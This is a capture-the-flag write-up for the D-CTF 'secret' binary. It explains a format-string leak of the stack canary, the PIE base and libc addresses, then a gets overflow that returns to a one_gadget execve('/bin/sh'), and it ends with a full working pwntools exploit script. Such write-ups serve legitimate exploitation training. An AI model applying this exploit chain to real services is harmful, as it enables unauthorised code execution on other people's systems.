So, this last weekend, I took part in D-CTF with a few friends from AFNOM. One of the challenges I solved was secret and I got a few requests to write it up, so I decided to put it here so that everyone could find it.
Exploration
We’re given pwn_secret and a server that we can netcat into.
After a brief scan using Cutter, we can quickly see the program flow:
- Ask for a name, and echo it back out
- Ask for a password, compare it to a goal
- if the same, print “You entered the same string two times”
- if different, print “Entered strings are not the same”
There’s no sign of a flag anywhere in the file, so we’ll have to pwn our way to victory.
After a few glances, we can identify a few vulnerabilities.
First, a printf
format string vulnerability using the name:
Next, a gets
buffer overflow with the password:
Now that we’ve identified our possible entry points, we need to see what
protections are enabled using checksec
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Tricky. We’ve got stack protection on all our user-defined functions as well as the NX-bit and PIE enabled, which means we need to expect ASLR as well.
This is going to influence our exploit a lot - the canary is going to stop us from performing a useful overflow unless we can leak it, the NX bit means we’re going to need to go for a ROP attack and the PIE means we’re going to need to leak a few addresses before we can jump anywhere useful.
Exploitation
Let’s load up our tools with a base skeleton. I’m using pwntools and gdb peda.
#!/usr/bin/env python2
from pwn import *
context(arch='amd64')
# p = remote('206.81.24.129', 1339)
p = process('./pwn_secret')
gdb.attach(p, "source /usr/share/peda/peda.py")
p.interactive()
Looking at our binary, we’re going to want to try and leak our canary as soon as possible so that we can overflow the saved instruction pointer properly.
We can see from the disassembly that both main
and secret
use the same
canary, i.e., fs[0x28]
. So if we can leak the canary for one, we can get
the other.
With a bit of playing around in gdb, dumping the stack using printf
and
inspecting the canary value, we can find the exact location of the canary on
the stack.
p.recvline_contains('name?')
p.sendline('%15$p')
line = p.recvline()
leaks = line.split()[2:]
canary = int(leaks[0], 16)
This is the canary for main
, which will be the same value as the one for
secret
. We can now use this to properly overflow the stack and avoid the
__stack_chk_fail
.
payload = 'a' * 0x88 # padding to fill the buffer
payload += p64(canary) # canary
payload += p64(1337) # rbp (exact value doesn't matter)
payload += ??? # rip
p.sendline(payload)
The only question is… where do we jump to? Because we’re running with PIE, we don’t know the location of anything in the binary at all. So, we need another leak.
If we modify our format string leak from above, we can leak more than one
value from the stack. After a while, I noticed that while addresses from libc
tended to start with 0x7f
, addresses from our program were starting with
0x55
. So, with a bit of playing around, I found a value on the stack that
pointed somewhere (doesn’t really matter where) in our program.
Then using that leak, we can calculate the base address that the text section of our binary is loaded in at:
p.recvline_contains('name?')
p.sendline('%15$p %21$p')
line = p.recvline()
leaks = line.split()[2:]
canary = int(leaks[0], 16)
base = int(leaks[1], 16) - 0xb6d
Now that we have the base location, we can now jump to anywhere within the text section of our program. That’s not quite enough to give us arbitrary code exection yet, due to a lack of gadgets.
But, we can jump back to the very start of main
! This means that we can now
keep leaking more information for us to use and eventually build up a
complete picture of where we need to jump to.
payload = ...
payload += base + 0xb6d # rip
p.sendline(payload)
Now we’re back at the top of main
. Now we need to try to jump to something
within libc. To do that, we’ll need to know where libc is loaded, as well as
which version of libc our host system is using.
Let’s leak the address of setvbuf
:
p.recvline_contains('name?')
p.sendline('%7$s ' + p64(base + 0x202068))
line = p.recvline()
setvbuf = line.split()[2]
setvbuf = u64(setvbuf + '\00' * (8 - len(setvbuf)))
log.info('setvbuf: ' + hex(setvbuf))
base + 0x202068
is the address of the setvbuf
entry in the GOT, so
reading a string from there gets us a pointer to the location of setvbuf
in
libc.
We can then jump back to main
again using the same code as above:
payload = ...
p.sendline(payload)
Then we can leak another function, this time gets
:
p.recvline_contains('name?')
p.sendline('%7$s ' + p64(base + 0x202060))
line = p.recvline()
gets = line.split()[2]
gets = u64(gets + '\00' * (8 - len(gets)))
log.info('gets: ' + hex(gets))
Now we have the addresses of two functions! Now, we can switch to using the remote service and extract the libc version.
[+] Opening connection to 206.81.24.129 on port 1339: Done
[*] setvbuf: 0x7f5abf3b6e70
[*] gets: 0x7f5abf3b5d80
Running these through a libc database gets us the libc version: libc6_2.23-0ubuntu10_amd64.so.
Now we can work out the exact offset of setvbuf
from the start of libc.
libc = setvbuf - 0x6fe70
Now we just need somewhere in libc to jump to! Using the wonderful one_gadget we can extract a call to /bin/sh.
$ one_gadget ./libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
That looks promising…
target = libc + 0x45216
payload = 'a' * 0x88 # padding to fill the buffer
payload += p64(canary) # canary
payload += p64(1337) # rbp (exact value doesn't matter)
payload += target # rip
p.sendline(payload)
p.interactive()
And we have shell!!!
$ ls
flag
pwn
readme
$ cat flag
DCTF{****************************************************************}
Code
The final code that I used in the exploit:
#!/usr/bin/env python2
from pwn import *
context(arch='amd64')
p = remote('206.81.24.129', 1339)
p.recvline_contains('name?')
p.sendline('%15$p %21$p')
line = p.recvline()
leaks = line.split()[2:]
canary = int(leaks[0], 16)
base = int(leaks[1], 16) - 0xb6d
def jump_to(destination):
payload = 'a' * 0x88
payload += p64(canary)
payload += p64(1337) # rbp
payload += p64(destination) # rip
p.sendline(payload)
def leak(address):
p.recvline_contains('name?')
p.sendline('%7$s ' + p64(address))
line = p.recvline()
leak = line.split()[2]
leak = u64(leak + '\00' * (8 - len(leak)))
return leak
jump_to(base + 0xb6d)
setvbuf = leak(base + 0x202068)
log.info('setvbuf: ' + hex(setvbuf))
jump_to(base + 0xb6d)
gets = leak(base + 0x202060)
log.info('gets: ' + hex(gets))
SETVBUF_OFFSET = 0x6fe70
TARGET_OFFSET = 0x45216
libc = setvbuf - SETVBUF_OFFSET
target = libc + TARGET_OFFSET
jump_to(target)
p.interactive()